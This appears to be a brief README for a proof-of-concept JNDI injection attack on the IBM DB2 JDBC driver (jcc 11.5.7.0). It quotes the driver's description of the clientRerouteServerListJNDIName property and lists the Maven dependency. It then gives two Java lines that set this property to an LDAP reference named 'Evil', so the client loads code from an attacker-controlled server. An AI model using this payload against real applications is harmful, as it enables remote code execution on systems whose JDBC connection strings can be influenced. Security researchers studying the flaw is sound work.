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README.md

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原理

clientRerouteServerListJNDINameIdentifies a JNDI reference to a DB2ClientRerouteServerList instance in a JNDI repository of reroute server information.clientRerouteServerListJNDIName applies only to IBM Data Server Driver for JDBC and SQLJ type 4 connectivity, and to connections that are established through the DataSource interface. If the value of clientRerouteServerListJNDIName is not null, clientRerouteServerListJNDIName provides the following functions:

• Allows information about reroute servers to persist across JVMs

• Provides an alternate server location if the first connection to the data source fails

依赖

<dependency>
    <groupId>com.ibm.db2</groupId>
    <artifactId>jcc</artifactId>
    <version>11.5.7.0</version>
</dependency>

POC

Class.forName("com.ibm.db2.jcc.DB2Driver");
DriverManager.getConnection("jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:9999/Evil;");